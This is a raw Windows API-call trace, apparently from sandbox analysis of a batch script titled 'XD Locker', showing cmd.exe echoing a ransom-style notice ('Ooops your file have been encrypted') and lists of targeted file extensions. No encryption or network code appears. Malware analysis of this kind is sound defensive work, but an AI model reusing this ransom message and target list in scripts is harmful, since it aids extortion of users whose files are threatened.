hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.417] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.417] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x173a [0040.417] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xef3, lpOverlapped=0x0) returned 1 [0040.417] SetFilePointer (in: hFile=0x74, lDistanceToMove=5988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0040.417] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=42, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo Ooops your file have been encrypted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 42 [0040.417] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.417] GetFileType (hFile=0x74) returned 0x1 [0040.418] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.418] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0040.418] GetProcessHeap () returned 0x4e0000 [0040.418] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.418] GetProcessHeap () returned 0x4e0000 [0040.418] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.418] _tell (_FileHandle=3) returned 5988 [0040.418] _close (_FileHandle=3) returned 0 [0040.418] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.419] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.419] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.419] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.419] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.419] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.419] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.419] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.419] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.419] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.419] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.419] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="Ooops your file have been encrypted\r\n") returned 37 [0040.419] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.419] GetFileType (hFile=0x7) returned 0x2 [0040.419] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.419] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.420] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x25) returned 1 [0040.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.420] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.420] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.421] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.421] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.421] SetConsoleInputExeNameW () returned 0x1 [0040.421] GetConsoleOutputCP () returned 0x1b5 [0040.421] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.421] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.421] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.422] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.422] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.422] SetFilePointer (in: hFile=0x74, lDistanceToMove=5988, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0040.422] GetProcessHeap () returned 0x4e0000 [0040.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e27c0 | out: hHeap=0x4e0000) returned 1 [0040.422] GetProcessHeap () returned 0x4e0000 [0040.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.422] GetProcessHeap () returned 0x4e0000 [0040.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.422] GetProcessHeap () returned 0x4e0000 [0040.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.422] GetProcessHeap () returned 0x4e0000 [0040.422] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.422] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.422] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1764 [0040.422] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xec9, lpOverlapped=0x0) returned 1 [0040.422] SetFilePointer (in: hFile=0x74, lDistanceToMove=6013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0040.423] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo The encrypted file\r\n been encrypted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 25 [0040.423] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.423] GetFileType (hFile=0x74) returned 0x1 [0040.423] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.423] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0040.423] GetProcessHeap () returned 0x4e0000 [0040.423] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.423] GetProcessHeap () returned 0x4e0000 [0040.423] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.424] _tell (_FileHandle=3) returned 6013 [0040.424] _close (_FileHandle=3) returned 0 [0040.424] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.424] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.424] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.424] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.424] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.424] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.424] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.424] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.424] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.424] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.424] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.425] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer="The encrypted file\r\n") returned 20 [0040.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.425] GetFileType (hFile=0x7) returned 0x2 [0040.425] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.425] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.425] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x14) returned 1 [0040.426] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.426] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.427] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.427] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.427] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.427] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.427] SetConsoleInputExeNameW () returned 0x1 [0040.427] GetConsoleOutputCP () returned 0x1b5 [0040.427] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.427] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.428] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.428] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=6013, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0040.428] GetProcessHeap () returned 0x4e0000 [0040.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2738 | out: hHeap=0x4e0000) returned 1 [0040.428] GetProcessHeap () returned 0x4e0000 [0040.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.428] GetProcessHeap () returned 0x4e0000 [0040.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5810 | out: hHeap=0x4e0000) returned 1 [0040.428] GetProcessHeap () returned 0x4e0000 [0040.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.428] GetProcessHeap () returned 0x4e0000 [0040.428] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.428] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.428] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x177d [0040.428] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xeb0, lpOverlapped=0x0) returned 1 [0040.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0040.429] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=36, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo .zip .rar .gif .ink .txt .pdf\r\npted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 36 [0040.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.429] GetFileType (hFile=0x74) returned 0x1 [0040.429] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.429] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0040.429] GetProcessHeap () returned 0x4e0000 [0040.429] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.429] GetProcessHeap () returned 0x4e0000 [0040.429] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.429] _tell (_FileHandle=3) returned 6049 [0040.430] _close (_FileHandle=3) returned 0 [0040.430] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.430] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.430] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.430] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.430] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.430] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.430] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.430] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.430] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.430] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.430] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.430] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=".zip .rar .gif .ink .txt .pdf\r\n") returned 31 [0040.430] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.430] GetFileType (hFile=0x7) returned 0x2 [0040.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.431] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.431] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1f, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1f) returned 1 [0040.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.431] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.432] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.432] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.432] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.432] SetConsoleInputExeNameW () returned 0x1 [0040.432] GetConsoleOutputCP () returned 0x1b5 [0040.432] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.432] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.433] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.433] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=6049, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0040.433] GetProcessHeap () returned 0x4e0000 [0040.433] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5800 | out: hHeap=0x4e0000) returned 1 [0040.433] GetProcessHeap () returned 0x4e0000 [0040.433] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.433] GetProcessHeap () returned 0x4e0000 [0040.433] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.433] GetProcessHeap () returned 0x4e0000 [0040.433] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.433] GetProcessHeap () returned 0x4e0000 [0040.433] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17a1 [0040.434] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xe8c, lpOverlapped=0x0) returned 1 [0040.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=6086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0040.434] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo .vbs .doc .mp4 .mp3 .wav .docx\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 37 [0040.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.434] GetFileType (hFile=0x74) returned 0x1 [0040.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0040.434] GetProcessHeap () returned 0x4e0000 [0040.434] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.434] GetProcessHeap () returned 0x4e0000 [0040.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.435] _tell (_FileHandle=3) returned 6086 [0040.435] _close (_FileHandle=3) returned 0 [0040.435] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.435] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.435] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.435] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.435] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.435] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.435] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.435] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.435] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.435] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.435] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.435] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=".vbs .doc .mp4 .mp3 .wav .docx\r\n") returned 32 [0040.435] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.435] GetFileType (hFile=0x7) returned 0x2 [0040.436] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.436] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.436] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x20) returned 1 [0040.436] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.436] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.437] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.437] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.437] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.437] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.437] SetConsoleInputExeNameW () returned 0x1 [0040.437] GetConsoleOutputCP () returned 0x1b5 [0040.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.437] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.438] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.438] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.438] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=6086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0040.438] GetProcessHeap () returned 0x4e0000 [0040.438] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f80 | out: hHeap=0x4e0000) returned 1 [0040.438] GetProcessHeap () returned 0x4e0000 [0040.438] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.438] GetProcessHeap () returned 0x4e0000 [0040.438] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.438] GetProcessHeap () returned 0x4e0000 [0040.438] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.438] GetProcessHeap () returned 0x4e0000 [0040.438] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f7f20 | out: hHeap=0x4e0000) returned 1 [0040.438] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.438] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17c6 [0040.439] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0xe67, lpOverlapped=0x0) returned 1 [0040.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=6118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0040.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="echo .jpg .png .htm .url .html\r\nocx\r\nted\r\n ####\r\n\n ##\r\n\n\n #\r\n") returned 32 [0040.439] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.439] GetFileType (hFile=0x74) returned 0x1 [0040.439] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.439] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0040.439] GetProcessHeap () returned 0x4e0000 [0040.439] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.439] GetProcessHeap () returned 0x4e0000 [0040.439] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.440] _tell (_FileHandle=3) returned 6118 [0040.440] _close (_FileHandle=3) returned 0 [0040.440] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0040.440] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0040.440] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0040.440] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0040.440] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0040.440] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0040.440] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0040.440] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0040.440] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0040.440] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0040.440] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: XD Locker") returned 0x19 [0040.440] _vsnwprintf (in: _Buffer=0x4a614640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x41f0cc | out: _Buffer=".jpg .png .htm .url .html\r\n") returned 27 [0040.440] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.440] GetFileType (hFile=0x7) returned 0x2 [0040.441] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0040.441] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41f08c | out: lpMode=0x41f08c) returned 1 [0040.441] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.441] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0x41f0b8, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41f0b8*=0x1b) returned 1 [0040.442] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.442] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.442] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.442] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.442] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.442] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.442] SetConsoleInputExeNameW () returned 0x1 [0040.442] GetConsoleOutputCP () returned 0x1b5 [0040.443] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.443] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.443] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.443] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=6118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x17e6 [0040.443] GetProcessHeap () returned 0x4e0000 [0040.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.443] GetProcessHeap () returned 0x4e0000 [0040.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57f8 | out: hHeap=0x4e0000) returned 